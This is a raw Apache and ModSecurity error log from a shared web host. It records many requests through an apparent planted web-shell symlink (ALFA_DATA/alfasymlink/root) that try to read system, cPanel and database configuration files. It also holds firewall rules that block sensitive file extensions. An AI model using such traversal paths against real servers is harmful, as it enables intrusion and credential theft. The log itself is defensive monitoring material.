[Tue Oct 27 08:02:55.679335 2026] [core:crit] [pid 3221566:tid 3221566] (13)Permission denied: [client 185.191.171.3:33890] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/polkit-1/rules.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/polkit-1/rules.d/' is executable
[Tue Oct 27 08:02:55.679402 2026] [core:crit] [pid 3221566:tid 3221566] (13)Permission denied: [client 185.191.171.3:33890] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/polkit-1/localauthority/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/polkit-1/localauthority/' is executable
[Tue Oct 27 08:02:56.938669 2026] [security2:error] [pid 3209601:tid 3209601] [client 216.244.66.250:49312] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpupdate.conf"] [unique_id "auCS8AJ0bI7Z9n11TMADNQAAAAA"]
[Tue Oct 27 08:02:56.939286 2026] [security2:error] [pid 3209601:tid 3209601] [client 216.244.66.250:49312] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpupdate.conf"] [unique_id "auCS8AJ0bI7Z9n11TMADNQAAAAA"]
[Tue Oct 27 08:02:56.939555 2026] [security2:error] [pid 3209601:tid 3209601] [client 216.244.66.250:49312] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpupdate.conf"] [unique_id "auCS8AJ0bI7Z9n11TMADNQAAAAA"]
[Tue Oct 27 08:03:02.182989 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.84.147.79:35681] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:03:10.464965 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 3.220.70.171:61927] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:03:22.204478 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 100.29.155.89:15079] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:03:30.206290 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 44.216.172.204:23023] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:03:36.873284 2026] [security2:error] [pid 3209603:tid 3209603] [client 16.216.88.194:4096] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/selinux/targeted/setrans.conf"] [unique_id "auCTGD4THoroSjopRdUAgAAAAAE"]
[Tue Oct 27 08:03:36.873760 2026] [security2:error] [pid 3209603:tid 3209603] [client 16.216.88.194:4096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/selinux/targeted/setrans.conf"] [unique_id "auCTGD4THoroSjopRdUAgAAAAAE"]
[Tue Oct 27 08:03:36.874220 2026] [security2:error] [pid 3209603:tid 3209603] [client 16.216.88.194:4096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/selinux/targeted/setrans.conf"] [unique_id "auCTGD4THoroSjopRdUAgAAAAAE"]
[Tue Oct 27 08:03:45.644061 2026] [core:crit] [pid 3227580:tid 3227580] (13)Permission denied: [client 185.191.171.12:20974] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/user/0/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/user/0/' is executable
[Tue Oct 27 08:03:58.354812 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 184.72.95.195:62537] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory10/node0/cpu1/firmware_node/physical_node/subsystem/drivers/processor/cpu0/driver/unbind
[Tue Oct 27 08:04:02.217381 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 18.215.112.101:24707] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:04:10.227283 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 52.45.77.169:54943] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:04:12.139996 2026] [security2:error] [pid 3227580:tid 3227580] [client 43.153.47.201:33712] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "auCTPGUNDY12-2npPMSFawAAAAo"]
[Tue Oct 27 08:04:12.141001 2026] [authz_core:error] [pid 3227580:tid 3227580] [client 43.153.47.201:33712] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 08:04:18.319580 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.234.206.30:54265] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:04:22.169695 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 35.173.18.61:19274] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:04:26.209503 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.225.87.80:20259] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:04:35.802759 2026] [security2:error] [pid 3227580:tid 3227580] [client 124.156.179.141:48694] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auCTU2UNDY12-2npPMSFbAAAAAo"]
[Tue Oct 27 08:04:35.803608 2026] [authz_core:error] [pid 3227580:tid 3227580] [client 124.156.179.141:48694] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 08:04:38.169593 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 44.194.134.53:56600] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/amd_gpio/unbind
[Tue Oct 27 08:04:38.264661 2026] [authz_core:error] [pid 3221566:tid 3221566] [client 205.169.39.4:19957] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 08:04:54.157688 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 184.73.239.35:10428] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:04:58.304783 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 98.83.177.42:65186] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:05:02.168503 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 184.73.239.35:52825] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:05:06.179940 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 54.91.122.193:61828] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:05:18.190040 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 34.195.60.66:24875] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:05:22.179896 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 54.225.81.20:16534] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/virtio1/driver/unbind
[Tue Oct 27 08:05:34.270858 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 18.213.102.186:64183] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:05:38.189100 2026] [core:error] [pid 3227580:tid 3227580] (13)Permission denied: [client 23.23.99.55:33033] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory10/node0/cpu1/firmware_node/physical_node/subsystem/drivers/processor/cpu0/driver/bind
[Tue Oct 27 08:05:42.345699 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 18.205.127.11:36218] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:05:50.234824 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.225.9.97:16176] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:05:54.202902 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 100.29.63.24:60096] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:06:06.279181 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 3.90.73.206:45061] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:06:18.187773 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 52.3.26.180:62840] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:06:22.179267 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 52.70.138.176:7715] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:06:26.168688 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.196.114.170:45599] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:06:34.197906 2026] [ssl:error] [pid 3230465:tid 3230465] (5)Input/output error: [client 52.5.232.250:33309] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:06:46.234487 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.217.255.167:40088] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:06:50.203902 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.54.157.23:43972] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:06:58.269272 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.166.104.83:46919] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:07:18.198908 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 34.206.193.60:41261] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:07:22.174209 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.152.163.42:23225] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:07:22.174418 2026] [security2:error] [pid 3219292:tid 3219292] [client 54.152.163.42:23225] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0303:00/physical_node/driver/00:01/uevent"] [unique_id "auCT-m_oZ855J3-bmxEqWgAAAAY"]
[Tue Oct 27 08:07:22.174449 2026] [security2:error] [pid 3219292:tid 3219292] [client 54.152.163.42:23225] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0303:00/physical_node/driver/00:01/uevent"] [unique_id "auCT-m_oZ855J3-bmxEqWgAAAAY"]
[Tue Oct 27 08:07:26.173808 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 44.223.115.10:57258] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:07:38.175666 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.3.104.214:57898] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:07:42.201718 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 54.89.90.224:33754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/driver/unbind
[Tue Oct 27 08:08:06.214249 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.218.170.184:3152] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:08:10.211978 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.235.239.240:15613] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:08:18.268049 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 3.215.59.93:3232] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:08:30.175212 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.194.139.149:5597] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:08:42.170919 2026] [security2:error] [pid 3230465:tid 3230465] [client 54.156.124.2:24321] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory12/node0/memory15/subsystem/"] [unique_id "auCUSnOijkS-hyCWJGdJyQAAAAI"]
[Tue Oct 27 08:08:42.170976 2026] [security2:error] [pid 3230465:tid 3230465] [client 54.156.124.2:24321] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory12/node0/memory15/subsystem/"] [unique_id "auCUSnOijkS-hyCWJGdJyQAAAAI"]
[Tue Oct 27 08:08:46.171369 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 44.205.74.196:25117] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:08:54.218142 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 52.70.209.13:24446] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:09:14.458485 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 184.73.47.24:55629] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:09:18.184358 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 34.193.2.57:22815] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:09:22.214236 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.152.163.42:17549] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:09:30.252207 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 23.23.137.202:40933] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:09:38.322637 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 18.214.138.148:63635] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:09:42.308358 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 44.197.76.210:37074] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:09:46.162400 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 52.44.148.203:20082] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:09:50.167214 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.162.69.192:50698] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:10:10.179760 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 34.196.237.236:3921] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:10:22.179354 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 98.83.72.38:18081] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:05.0/rescan
[Tue Oct 27 08:10:38.193772 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 34.225.138.57:24870] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:10:46.187979 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 52.3.26.180:63257] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:10:50.195551 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.214.186.220:59037] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:11:25.771591 2026] [core:error] [pid 3230465:tid 3230465] (13)Permission denied: [client 185.191.171.4:28086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bdev_cache/remote_node_defrag_ratio
[Tue Oct 27 08:11:38.473156 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 44.223.232.55:6427] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:11:46.244651 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 3.229.164.203:20602] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:11:50.167651 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 52.207.47.227:43849] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:11:54.167342 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 3.229.95.193:12725] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:11:58.165913 2026] [core:error] [pid 3221566:tid 3221566] (13)Permission denied: [client 54.225.148.123:49952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/memory11/node0/cpu1/driver/bind
[Tue Oct 27 08:12:02.192917 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 18.215.112.101:41952] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:12:14.160343 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 100.28.49.152:41727] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:12:22.266018 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 100.29.164.178:4427] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:12:26.281022 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 184.73.195.18:50353] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:12:27.420716 2026] [core:crit] [pid 3230467:tid 3230467] (13)Permission denied: [client 66.132.159.135:3440] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 08:12:28.328797 2026] [core:crit] [pid 3209611:tid 3209611] (13)Permission denied: [client 66.132.159.135:3452] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 08:12:42.187896 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 52.71.218.25:33023] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:12:46.164098 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 100.28.49.152:58126] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:12:50.152666 2026] [ssl:error] [pid 3209611:tid 3209611] (5)Input/output error: [client 34.233.114.237:59607] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:13:02.166487 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 34.194.165.45:33828] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:13:34.260239 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 44.196.118.6:55637] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:13:38.175841 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 54.87.95.7:48276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/node0/memory7/subsystem/uevent
[Tue Oct 27 08:13:57.525859 2026] [security2:error] [pid 3227580:tid 3227580] [client 145.239.69.40:57086] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/omekas/database.ini"] [unique_id "auCVhWUNDY12-2npPMSF2AAAAAo"]
[Tue Oct 27 08:13:57.526221 2026] [security2:error] [pid 3227580:tid 3227580] [client 145.239.69.40:57086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/omekas/database.ini"] [unique_id "auCVhWUNDY12-2npPMSF2AAAAAo"]
[Tue Oct 27 08:13:57.527231 2026] [security2:error] [pid 3227580:tid 3227580] [client 145.239.69.40:57086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "auCVhWUNDY12-2npPMSF2AAAAAo"]
[Tue Oct 27 08:13:58.317747 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 85.208.96.206:11688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/files_cache/aliases
[Tue Oct 27 08:14:06.314675 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.222.85.38:57260] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:14:14.310188 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 52.5.232.250:59352] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:14:30.158430 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 54.144.185.255:54751] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:14:34.275372 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 54.84.102.81:7457] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:14:46.167998 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 54.90.8.255:63827] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/uhci_hcd/0000:00:01.2/resource4
[Tue Oct 27 08:14:54.237948 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 44.210.213.220:15255] AH02013: coalesce failed to read from data bucket
